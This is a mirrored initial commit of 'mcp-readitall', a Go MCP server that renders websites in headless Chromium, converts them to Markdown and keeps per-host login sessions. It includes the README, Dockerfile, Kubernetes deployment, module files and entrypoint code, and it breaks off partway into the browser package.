mirror of
https://github.com/lukaszraczylo/mcp-readitall.git
synced 2026-10-12 00:45:33 +00:00
initial commit
This commit is contained in:
@@ -0,0 +1,5 @@
|
||||
bin/
|
||||
.git/
|
||||
*.md
|
||||
Dockerfile
|
||||
.dockerignore
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
bin/
|
||||
sessions/
|
||||
.DS_Store
|
||||
*.test
|
||||
*.out
|
||||
|
||||
# Go
|
||||
vendor/
|
||||
|
||||
# Local session data (defensive: keep developers' auth out of git)
|
||||
.mcp-readitall/
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
# Build stage
|
||||
FROM golang:1.26-alpine AS build
|
||||
WORKDIR /src
|
||||
COPY go.mod go.sum ./
|
||||
RUN go mod download
|
||||
COPY . .
|
||||
RUN CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" -o /out/readitall ./cmd/readitall
|
||||
|
||||
# Runtime: chromedp/headless-shell is distroless-based and ships only
|
||||
# headless Chrome at /headless-shell/headless-shell (on PATH, where
|
||||
# chromedp's exec allocator finds it).
|
||||
FROM chromedp/headless-shell:latest
|
||||
LABEL org.opencontainers.image.source="https://github.com/lukaszraczylo/mcp-readitall"
|
||||
COPY --from=build /out/readitall /usr/local/bin/readitall
|
||||
ENV READITALL_SESSIONS_DIR=/data \
|
||||
READITALL_ADDR=:8080
|
||||
VOLUME ["/data"]
|
||||
EXPOSE 8080
|
||||
ENTRYPOINT ["/usr/local/bin/readitall"]
|
||||
@@ -0,0 +1,208 @@
|
||||
# mcp-readitall
|
||||
|
||||
A Go-based [Model Context Protocol](https://modelcontextprotocol.io) (MCP)
|
||||
server that fetches any website — including modern SPAs that need a real
|
||||
browser to render — and converts the page into clean Markdown. It also
|
||||
supports per-host authenticated sessions so you can read content that lives
|
||||
behind a login wall.
|
||||
|
||||
The server speaks MCP over **stdio** and is designed to be wired into any
|
||||
MCP-aware client (Claude Desktop, Claude Code, Cursor, etc.).
|
||||
|
||||
## Features
|
||||
|
||||
- **Real browser rendering** via [chromedp] (a pure-Go Chrome DevTools
|
||||
Protocol client) + system Chromium — handles SPAs, JS hydration,
|
||||
lazy-loaded content, client-side routing. No Node.js bridge.
|
||||
- **Markdown conversion** with the [html-to-markdown] plugin pipeline:
|
||||
tables, code blocks (with language detection), strikethrough, commonmark
|
||||
semantics, relative-URL resolution.
|
||||
- **Per-host authenticated sessions** — the `login` tool opens a visible
|
||||
browser window for you to authenticate, then persists cookies +
|
||||
localStorage so future reads reuse the session automatically.
|
||||
- **Session lifecycle tools** — `list_sessions` and `clear_session` for
|
||||
inspection and revocation.
|
||||
- **Content extraction** — `extract` and the `selector` parameter on
|
||||
`read_url` let you pull just the part of a page you care about.
|
||||
- **Cross-process safe** — session state is persisted to disk (0600) so the
|
||||
server can restart without losing auth.
|
||||
|
||||
[html-to-markdown]: https://github.com/JohannesKaufmann/html-to-markdown
|
||||
[chromedp]: https://github.com/chromedp/chromedp
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
| --- | --- |
|
||||
| `read_url` | Fetch a URL (with optional CSS selector), render JS, return Markdown. |
|
||||
| `login` | Open a browser, let the operator log in, persist the session. |
|
||||
| `list_sessions` | Show every host for which a session is saved. |
|
||||
| `clear_session` | Delete a saved session. |
|
||||
| `extract` | Read a URL and return only the part under a CSS selector. |
|
||||
|
||||
### `read_url` arguments
|
||||
|
||||
| Field | Type | Description |
|
||||
| --- | --- | --- |
|
||||
| `url` | string (required) | Absolute http(s) URL. |
|
||||
| `selector` | string | Optional CSS selector to extract a region. |
|
||||
| `wait_for` | string | Optional CSS selector to wait for (useful for SPAs that hydrate after `networkidle`). |
|
||||
| `timeout_seconds` | int | Overall timeout. Default 30. |
|
||||
| `max_chars` | int | Truncate the returned Markdown. Default ~200k. |
|
||||
|
||||
### `login` arguments
|
||||
|
||||
| Field | Type | Description |
|
||||
| --- | --- | --- |
|
||||
| `url` | string (required) | The URL to open (typically the login page). |
|
||||
| `success_url` | string | Substring of the post-login URL (e.g. `/dashboard`). Polled every second. |
|
||||
| `success_selector` | string | CSS selector that becomes visible once auth succeeds (e.g. an avatar menu). |
|
||||
| `timeout_seconds` | int | How long to wait for the operator to complete login. Default 300. |
|
||||
|
||||
`success_url` **or** `success_selector` is required so the tool knows when
|
||||
to stop waiting and save the session.
|
||||
|
||||
## Build & install
|
||||
|
||||
Requirements:
|
||||
|
||||
- Go 1.22+
|
||||
- A Chromium-family browser on `$PATH` or installed at the standard
|
||||
location — `google-chrome`, `chromium`, `chromium-browser`, or Edge.
|
||||
macOS: `brew install --cask chromium` (or the standard Chrome install).
|
||||
Linux: `apt install chromium` / `dnf install chromium`.
|
||||
|
||||
```bash
|
||||
# Build the server binary
|
||||
go build -o bin/mcp-readitall ./cmd/readitall
|
||||
```
|
||||
|
||||
> If the project is not under git you may need `-buildvcs=false`:
|
||||
> `go build -buildvcs=false -o bin/mcp-readitall ./cmd/readitall`
|
||||
|
||||
chromedp will auto-discover Chromium via [`exec.LookPath`] and the usual
|
||||
Chromium env vars (`CHROME_BIN`, `CHROMIUM_BIN`, etc.). If you have a
|
||||
non-standard install, point at the binary directly:
|
||||
|
||||
```bash
|
||||
CHROME_BIN=/Applications/Chromium.app/Contents/MacOS/Chromium ./bin/mcp-readitall
|
||||
```
|
||||
|
||||
[`exec.LookPath`]: https://pkg.go.dev/os/exec#LookPath
|
||||
|
||||
## Wire into an MCP client
|
||||
|
||||
### Claude Desktop (`~/Library/Application Support/Claude/claude_desktop_config.json`)
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"readitall": {
|
||||
"command": "/absolute/path/to/mcp-readitall/bin/mcp-readitall"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Claude Code (`.mcp.json` in your project)
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"readitall": {
|
||||
"command": "/absolute/path/to/mcp-readitall/bin/mcp-readitall"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Restart the client after editing the config.
|
||||
|
||||
## Usage flow
|
||||
|
||||
### 1. Read a public page
|
||||
|
||||
Ask your MCP client:
|
||||
|
||||
> "Read https://news.ycombinator.com and summarize the top 5 stories"
|
||||
|
||||
Under the hood the model calls `read_url`. The server launches a
|
||||
headless Chromium, navigates, waits for the body to be ready (plus a
|
||||
short grace period for hydration, or a `wait_for` selector if supplied),
|
||||
converts the HTML to Markdown, and returns it.
|
||||
|
||||
### 2. Read an authenticated page
|
||||
|
||||
> "Log me into GitHub, then read my notifications"
|
||||
|
||||
The model first calls:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "login",
|
||||
"arguments": {
|
||||
"url": "https://github.com/login",
|
||||
"success_url": "/",
|
||||
"timeout_seconds": 300
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A real browser window pops up on your machine. Log in normally. When the
|
||||
URL changes to contain `/`, the tool saves the session and closes the
|
||||
window. Subsequent calls to `read_url` for `github.com` will reuse the
|
||||
saved cookies + localStorage automatically.
|
||||
|
||||
To invalidate a session:
|
||||
|
||||
> "Clear my session for github.com"
|
||||
|
||||
The model calls `clear_session`.
|
||||
|
||||
## Session storage
|
||||
|
||||
Saved sessions live in:
|
||||
|
||||
- `~/.mcp-readitall/sessions/<host>/state.json` by default
|
||||
- Override with `READITALL_SESSIONS_DIR=/some/path`
|
||||
|
||||
State files are written with mode `0600` (owner read/write only) and
|
||||
use Playwright's standard storage state shape (`{cookies:[…], origins:[{origin,
|
||||
localStorage:[…]}]}`) — sessions captured by Playwright can be loaded by
|
||||
us, and vice versa. Treat them as secrets — they grant access to your
|
||||
authenticated sessions.
|
||||
|
||||
## Tests
|
||||
|
||||
```bash
|
||||
go test -race ./...
|
||||
```
|
||||
|
||||
The suite is hermetic — no browser is launched. It covers:
|
||||
|
||||
- Hostname normalization (good / bad / edge).
|
||||
- Storage-state validation.
|
||||
- Session-store CRUD and concurrency safety.
|
||||
- HTML→Markdown conversion (headings, lists, tables, code, entities, URL
|
||||
resolution, security-sensitive stripping of `<script>` / `<style>` /
|
||||
comments).
|
||||
- Tool helpers (URL host extraction, comma-separated selector parsing,
|
||||
output formatter).
|
||||
|
||||
## Limitations
|
||||
|
||||
- The `login` tool needs a **visible** browser window. Running it on a
|
||||
remote / headless host with no display (and no VNC / X-forwarding) will
|
||||
not work — Chrome exits immediately when it has no window to draw to.
|
||||
- Requires a Chromium-family browser on the host. `chromedp` does not
|
||||
bundle one.
|
||||
- The reader is single-tab per call. Reading multiple pages in parallel
|
||||
inside one tool call is not supported yet.
|
||||
- We treat `networkidle` as "body is ready + 500 ms grace" (or whatever
|
||||
you pass in `wait_for`). Sites that keep firing background requests
|
||||
indefinitely may need a `wait_for` selector rather than rely on
|
||||
automatic settling.
|
||||
|
||||
## License
|
||||
|
||||
MIT.
|
||||
@@ -0,0 +1,72 @@
|
||||
// Package main is a tiny end-to-end smoke harness for the readitall reader.
|
||||
// It is intentionally separate from cmd/readitall (the MCP server) and lives
|
||||
// here so you can verify the browser + markdown pipeline without an MCP
|
||||
// client in the loop.
|
||||
//
|
||||
// Usage:
|
||||
//
|
||||
// go run ./cmd/demo <url> [css-selector]
|
||||
//
|
||||
// Example:
|
||||
//
|
||||
// go run ./cmd/demo https://raczylo.com
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/browser"
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/reader"
|
||||
)
|
||||
|
||||
func main() {
|
||||
if len(os.Args) < 2 {
|
||||
fmt.Fprintln(os.Stderr, "usage: demo <url> [css-selector]")
|
||||
os.Exit(2)
|
||||
}
|
||||
url := os.Args[1]
|
||||
var selector string
|
||||
if len(os.Args) >= 3 {
|
||||
selector = os.Args[2]
|
||||
}
|
||||
|
||||
logger := log.New(os.Stderr, "[demo] ", log.LstdFlags|log.Lmsgprefix)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
sess, err := browser.NewSessionStore()
|
||||
if err != nil {
|
||||
logger.Fatalf("session store: %v", err)
|
||||
}
|
||||
defer sess.Close()
|
||||
|
||||
pw, err := browser.New(ctx, logger)
|
||||
if err != nil {
|
||||
logger.Fatalf("browser: %v", err)
|
||||
}
|
||||
defer pw.Close()
|
||||
|
||||
r := reader.New(pw, sess, logger)
|
||||
res, err := r.Read(ctx, reader.ReadOptions{
|
||||
URL: url,
|
||||
Selector: selector,
|
||||
Timeout: 60 * time.Second,
|
||||
})
|
||||
if err != nil {
|
||||
logger.Fatalf("read: %v", err)
|
||||
}
|
||||
|
||||
fmt.Printf("--- meta ---\n")
|
||||
fmt.Printf("requested: %s\n", res.URL)
|
||||
fmt.Printf("final: %s\n", res.FinalURL)
|
||||
fmt.Printf("title: %s\n", res.Title)
|
||||
fmt.Printf("used_session: %v\n", res.UsedSession)
|
||||
fmt.Printf("truncated: %v\n", res.Truncated)
|
||||
fmt.Printf("bytes: %d\n", res.Bytes)
|
||||
fmt.Printf("--- markdown ---\n")
|
||||
fmt.Println(res.Markdown)
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"os"
|
||||
"os/signal"
|
||||
"syscall"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/server"
|
||||
)
|
||||
|
||||
func main() {
|
||||
logger := log.New(os.Stderr, "[readitall] ", log.LstdFlags|log.Lmsgprefix)
|
||||
|
||||
ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
|
||||
defer cancel()
|
||||
|
||||
srv, err := server.New(ctx, logger)
|
||||
if err != nil {
|
||||
logger.Fatalf("init server: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
if cerr := srv.Close(); cerr != nil {
|
||||
logger.Printf("shutdown: %v", cerr)
|
||||
}
|
||||
}()
|
||||
|
||||
addr := os.Getenv("READITALL_ADDR")
|
||||
if addr == "" {
|
||||
addr = ":8080"
|
||||
}
|
||||
logger.Printf("starting MCP server (http) on %s (/mcp, /sse)", addr)
|
||||
if err := srv.RunHTTP(ctx, addr); err != nil {
|
||||
logger.Fatalf("server exited: %v", err)
|
||||
}
|
||||
}
|
||||
+118
@@ -0,0 +1,118 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: mcp-readitall
|
||||
namespace: agentgateway-system
|
||||
labels:
|
||||
app.kubernetes.io/name: mcp-readitall
|
||||
app.kubernetes.io/part-of: mcp-servers
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: mcp-readitall
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: mcp-readitall
|
||||
app.kubernetes.io/part-of: mcp-servers
|
||||
spec:
|
||||
automountServiceAccountToken: false
|
||||
imagePullSecrets:
|
||||
- name: multi-registry-secret
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 65532
|
||||
runAsGroup: 65532
|
||||
seccompProfile:
|
||||
type: RuntimeDefault
|
||||
containers:
|
||||
- name: mcp
|
||||
image: ghcr.io/lukaszraczylo/mcp-readitall:0.1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
env:
|
||||
- name: READITALL_ADDR
|
||||
value: ":8080"
|
||||
- name: READITALL_SESSIONS_DIR
|
||||
value: /data
|
||||
# Chrome needs a writable HOME/tmp with read-only rootfs
|
||||
- name: HOME
|
||||
value: /tmp
|
||||
- name: XDG_CONFIG_HOME
|
||||
value: /tmp/.config
|
||||
- name: XDG_CACHE_HOME
|
||||
value: /tmp/.cache
|
||||
ports:
|
||||
- name: http
|
||||
containerPort: 8080
|
||||
livenessProbe:
|
||||
httpGet:
|
||||
path: /healthz
|
||||
port: http
|
||||
initialDelaySeconds: 15
|
||||
periodSeconds: 15
|
||||
readinessProbe:
|
||||
httpGet:
|
||||
path: /healthz
|
||||
port: http
|
||||
initialDelaySeconds: 5
|
||||
periodSeconds: 10
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
capabilities:
|
||||
drop: ["ALL"]
|
||||
readOnlyRootFilesystem: true
|
||||
runAsNonRoot: true
|
||||
runAsUser: 65532
|
||||
runAsGroup: 65532
|
||||
seccompProfile:
|
||||
type: RuntimeDefault
|
||||
resources:
|
||||
requests:
|
||||
cpu: 100m
|
||||
memory: 256Mi
|
||||
limits:
|
||||
cpu: "2"
|
||||
memory: 2Gi
|
||||
volumeMounts:
|
||||
- name: tmp
|
||||
mountPath: /tmp
|
||||
- name: data
|
||||
mountPath: /data
|
||||
volumes:
|
||||
- name: tmp
|
||||
emptyDir: {}
|
||||
- name: data
|
||||
emptyDir: {}
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: mcp-readitall
|
||||
namespace: agentgateway-system
|
||||
labels:
|
||||
app.kubernetes.io/name: mcp-readitall
|
||||
app.kubernetes.io/part-of: mcp-servers
|
||||
spec:
|
||||
selector:
|
||||
app.kubernetes.io/name: mcp-readitall
|
||||
ports:
|
||||
- name: http
|
||||
port: 8080
|
||||
targetPort: http
|
||||
---
|
||||
apiVersion: agentgateway.dev/v1alpha1
|
||||
kind: AgentgatewayBackend
|
||||
metadata:
|
||||
name: mcp-readitall
|
||||
namespace: agentgateway-system
|
||||
spec:
|
||||
mcp:
|
||||
sessionRouting: Stateless
|
||||
targets:
|
||||
- name: readitall
|
||||
static:
|
||||
host: mcp-readitall.agentgateway-system.svc.cluster.local
|
||||
port: 8080
|
||||
path: /mcp
|
||||
protocol: StreamableHTTP
|
||||
@@ -0,0 +1,34 @@
|
||||
module github.com/lukaszraczylo/mcp-readitall
|
||||
|
||||
go 1.26.4
|
||||
|
||||
require (
|
||||
github.com/JohannesKaufmann/html-to-markdown/v2 v2.5.2
|
||||
github.com/chromedp/cdproto v0.0.0-20260321001828-e3e3800016bc
|
||||
github.com/chromedp/chromedp v0.15.1
|
||||
github.com/modelcontextprotocol/go-sdk v1.6.1
|
||||
github.com/stretchr/testify v1.11.1
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/JohannesKaufmann/dom v0.3.1 // indirect
|
||||
github.com/chromedp/sysutil v1.1.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/go-json-experiment/json v0.0.0-20260214004413-d219187c3433 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.4.0 // indirect
|
||||
github.com/google/jsonschema-go v0.4.3 // indirect
|
||||
github.com/kr/pretty v0.3.1 // indirect
|
||||
github.com/orisano/pixelmatch v0.0.0-20230914042517-fa304d1dc785 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/rogpeppe/go-internal v1.11.0 // indirect
|
||||
github.com/segmentio/asm v1.1.3 // indirect
|
||||
github.com/segmentio/encoding v0.5.4 // indirect
|
||||
github.com/yosida95/uritemplate/v3 v3.0.2 // indirect
|
||||
golang.org/x/net v0.55.0 // indirect
|
||||
golang.org/x/oauth2 v0.35.0 // indirect
|
||||
golang.org/x/sys v0.45.0 // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
@@ -0,0 +1,74 @@
|
||||
github.com/JohannesKaufmann/dom v0.3.1 h1:J16l9JAHWgkFPR3VIPbQ1gvS0cWab6laK1q7PFL3qh0=
|
||||
github.com/JohannesKaufmann/dom v0.3.1/go.mod h1:BZPkf8ZeYrBgABjwJn9iiKt8aiCtkxpHkevms+Yp2DE=
|
||||
github.com/JohannesKaufmann/html-to-markdown/v2 v2.5.2 h1:XFJZFWESIWlUEHHjzBuv8RvrtCWnSGlimEX17ysSDb8=
|
||||
github.com/JohannesKaufmann/html-to-markdown/v2 v2.5.2/go.mod h1:BHWO8lJzttJLqwuV8Rb1B3OG2OSzLbssZDI1FRg2eAA=
|
||||
github.com/chromedp/cdproto v0.0.0-20260321001828-e3e3800016bc h1:wkN/LMi5vc60pBRWx6qpbk/aEvq3/ZVNpnMvsw8PVVU=
|
||||
github.com/chromedp/cdproto v0.0.0-20260321001828-e3e3800016bc/go.mod h1:cbyjALe67vDvlvdiG9369P8w5U2w6IshwtyD2f2Tvag=
|
||||
github.com/chromedp/chromedp v0.15.1 h1:EJWiPm7BNqDqjYy6U0lTSL5wNH+iNt9GjC3a4gfjNyQ=
|
||||
github.com/chromedp/chromedp v0.15.1/go.mod h1:CdTHtUqD/dqaFw/cvFWtTydoEQS44wLBuwbMR9EkOY4=
|
||||
github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM=
|
||||
github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/go-json-experiment/json v0.0.0-20260214004413-d219187c3433 h1:vymEbVwYFP/L05h5TKQxvkXoKxNvTpjxYKdF1Nlwuao=
|
||||
github.com/go-json-experiment/json v0.0.0-20260214004413-d219187c3433/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=
|
||||
github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/jsonschema-go v0.4.3 h1:/DBOLZTfDow7pe2GmaJNhltueGTtDKICi8V8p+DQPd0=
|
||||
github.com/google/jsonschema-go v0.4.3/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/modelcontextprotocol/go-sdk v1.6.1 h1:0zOSupjKUxPKSocPT1Wtago+mUHU2/uZ4xSOY0FGReU=
|
||||
github.com/modelcontextprotocol/go-sdk v1.6.1/go.mod h1:kzm3kzFL1/+AziGOE0nUs3gvPoNxMCvkxokMkuFapXQ=
|
||||
github.com/orisano/pixelmatch v0.0.0-20230914042517-fa304d1dc785 h1:J1//5K/6QF10cZ59zLcVNFGmBfiSrH8Cho/lNrViK9s=
|
||||
github.com/orisano/pixelmatch v0.0.0-20230914042517-fa304d1dc785/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
|
||||
github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA=
|
||||
github.com/sebdah/goldie/v2 v2.8.0 h1:dZb9wR8q5++oplmEiJT+U/5KyotVD+HNGCAc5gNr8rc=
|
||||
github.com/sebdah/goldie/v2 v2.8.0/go.mod h1:oZ9fp0+se1eapSRjfYbsV/0Hqhbuu3bJVvKI/NNtssI=
|
||||
github.com/segmentio/asm v1.1.3 h1:WM03sfUOENvvKexOLp+pCqgb/WDjsi7EK8gIsICtzhc=
|
||||
github.com/segmentio/asm v1.1.3/go.mod h1:Ld3L4ZXGNcSLRg4JBsZ3//1+f/TjYl0Mzen/DQy1EJg=
|
||||
github.com/segmentio/encoding v0.5.4 h1:OW1VRern8Nw6ITAtwSZ7Idrl3MXCFwXHPgqESYfvNt0=
|
||||
github.com/segmentio/encoding v0.5.4/go.mod h1:HS1ZKa3kSN32ZHVZ7ZLPLXWvOVIiZtyJnO1gPH1sKt0=
|
||||
github.com/sergi/go-diff v1.4.0 h1:n/SP9D5ad1fORl+llWyN+D6qoUETXNZARKjyY2/KVCw=
|
||||
github.com/sergi/go-diff v1.4.0/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4=
|
||||
github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4=
|
||||
github.com/yuin/goldmark v1.8.2 h1:kEGpgqJXdgbkhcOgBxkC0X0PmoPG1ZyoZ117rDVp4zE=
|
||||
github.com/yuin/goldmark v1.8.2/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg=
|
||||
golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8=
|
||||
golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww=
|
||||
golang.org/x/oauth2 v0.35.0 h1:Mv2mzuHuZuY2+bkyWXIHMfhNdJAdwW3FuWeCPYN5GVQ=
|
||||
golang.org/x/oauth2 v0.35.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
|
||||
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k=
|
||||
golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -0,0 +1,187 @@
|
||||
// Package browser manages the chromedp driver lifecycle used to fetch
|
||||
// pages, render SPAs, and capture storage state. The browser process is
|
||||
// started lazily on first use and shared across all subsequent reads.
|
||||
//
|
||||
// chromedp is a pure-Go Chrome DevTools Protocol client: no Node.js bridge,
|
||||
// no Playwright driver. It talks to a local Chromium (or any other CDP-
|
||||
// compatible browser) over a websocket.
|
||||
package browser
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
// Browser is a thin wrapper around a long-lived chromedp ExecAllocator and
|
||||
// its single Chromium process. Each read (or login) creates a fresh
|
||||
// incognito-like browser context on top, so state never leaks between
|
||||
// calls.
|
||||
type Browser struct {
|
||||
log *log.Logger
|
||||
|
||||
startOnce sync.Once
|
||||
startErr error
